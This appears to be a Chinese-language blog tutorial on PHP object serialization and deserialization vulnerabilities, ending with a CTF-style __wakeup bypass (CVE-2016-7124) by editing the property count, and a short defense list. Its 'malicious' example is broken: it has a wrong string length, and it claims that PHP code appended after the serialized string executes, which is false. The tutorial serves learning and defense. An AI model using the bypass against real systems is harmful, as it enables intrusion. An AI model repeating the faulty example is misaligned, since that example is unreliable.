PHP反序列化

PHP反序列化

PHP基础

php类与对象

在PHP中,类(class)是一种用于定义对象的蓝图或模板,而对象(object)是类的实例。下面是关于PHP类与对象的一些基本概念:

定义类:在PHP中,可以使用class关键字来定义一个类。类通常包含属性(成员变量)和方法(成员函数)。以下是一个简单的类的定义示例:

class Person {
    // 属性
    public $name;
    public $age;

    // 方法
    public function greet() {
        return "Hello, my name is " . $this->name;
    }
}

创建对象:要使用类,需要创建该类的一个对象。可以使用new关键字来实例化一个类,创建对象。以下是创建Person类的对象的示例:

$person1 = new Person();
$person1->name = "Alice";
$person1->age = 30;
echo $person1->greet(); // 输出:Hello, my name is Alice

PHPmagic

在PHP中,“Magic Methods”(魔术方法)是一种特殊的方法,它们有特定的命名规则,并在特定情况下自动调用。这些魔术方法以双下划线开头和结尾,例如__construct()__destruct()等。以下是一些常用的PHP魔术方法及其作用:

  1. __construct():构造方法,在实例化对象时自动调用,用于初始化对象的属性或执行一些必要的操作。
  2. __destruct():析构方法,在对象被销毁时自动调用,用于释放资源或执行清理操作。
  3. __get($property):访问不可访问属性时自动调用,用于获取对象的属性值。
  4. __set($property, $value):设置不可访问属性时自动调用,用于设置对象的属性值。
  5. __isset($property):判断不可访问属性是否存在时自动调用,用于检查对象的属性是否被设置。
  6. __unset($property):删除不可访问属性时自动调用,用于删除对象的属性。
  7. __call($method, $arguments):调用不可访问方法时自动调用,用于处理对象的方法调用。
  8. __toString():将对象转换为字符串时自动调用,用于定义对象的字符串表示形式。
  9. __clone():克隆对象时自动调用,用于处理对象的克隆操作。
  10. __sleep()__wakeup():序列化和反序列化对象时自动调用,分别用于对象序列化和反序列化时的处理。

PHP序列化

在PHP中,序列化是将对象转换为字符串的过程,以便在存储或传输时使用。PHP提供了serialize()函数用于将对象序列化为字符串,以及unserialize()函数用于将序列化的字符串反序列化为对象。以下是关于PHP序列化的一些基本概念:

序列化对象:要将对象序列化为字符串,可以使用serialize()函数。例如:

class Person {
    public $name = "Alice";
    public $age = 30;
}

$person = new Person();
$serialized = serialize($person);
echo $serialized;

反序列化对象:要将序列化的字符串还原为对象,可以使用unserialize()函数。__wakeup()例如:

$serialized = 'O:6:"Person":2:{s:4:"name";s:5:"Alice";s:3:"age";i:30;}';
$person = unserialize($serialized);
echo $person->name; // 输出:Alice
echo $person->age; // 输出:30

序列化数组:除了对象,PHP也可以序列化数组。例如:

$array = array('apple', 'banana', 'cherry');
$serializedArray = serialize($array);
echo $serializedArray;

安全性考虑:由于unserialize()函数会将字符串还原为PHP对象或数组,因此在接收并反序列化数据时需要谨慎防止反序列化攻击(unserialize attack),即恶意构造的序列化字符串可能导致代码执行漏洞。建议在反序列化前对数据进行验证和过滤,以确保安全性。

1、如果传递的字符串不可解序列化,则返回FALSE,并产生一个E_NOTICE

2、返回的是转换之后的值,可为integer``float、string、array或object

3、若被反序列化的变量是一个对象,在成功重新构造对象之后,PHP会自动地试图去调用__wakeup()成员函数(如果存在的话)

4、如果对象没有预定义反序列化得到的对象是__PHP_Incomplete_Class,并指定了未定义类的类名

反序列化漏洞

假设有一个简单的 PHP 类 User,其中包含一个 name 属性和一个 greet() 方法,如下所示:

class User {
    public $name;

    public function greet() {
        echo "Hello, " . $this->name . "!";
    }
}

现在,假设一个用户可以通过表单提交一个序列化的 User 对象,并在服务器端进行反序列化,如下所示:

$userData = $_POST['userData']; // 假设用户通过表单提交了序列化的 User 对象
$user = unserialize($userData); // 反序列化用户提交的数据

$user->greet(); // 调用 greet() 方法

攻击者可以构造一个恶意的序列化字符串,其中包含恶意代码,例如:

O:4:"User":1:{s:4:"name";s:4:"Alice";}<?php phpinfo(); ?>
    
反序列化的内容可以修改原类的内容(即可以不同)

当这个恶意序列化字符串被提交并反序列化时,phpinfo() 函数将被执行,从而导致恶意代码的执行。

发生条件

unserialize函数参数可控,比如通过GET传参
脚本中定义了有Magic方法,方法有向PHP文件读写数据,比如__destruct(),__unlink()
读写内容需要有对象中成员变量的值

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=


考点:反序列化
如果触发__wakeup(),则退出
目标:绕过__wakeup()方法

CVE-2016-7124
PHP5小于5.6.25或PHP7小于7.0.10
在反序列化的时候,如果写的参数个数,与实际的参数个数不一致的时候,就会跳过__wakeup()的执行

<?php
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);?>

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改为 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

修复和防御

针对unserialize和Magic函数审计对用户输入的内容过滤

白名单,限制反序列化的类;

不能动态传参

  • 13
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值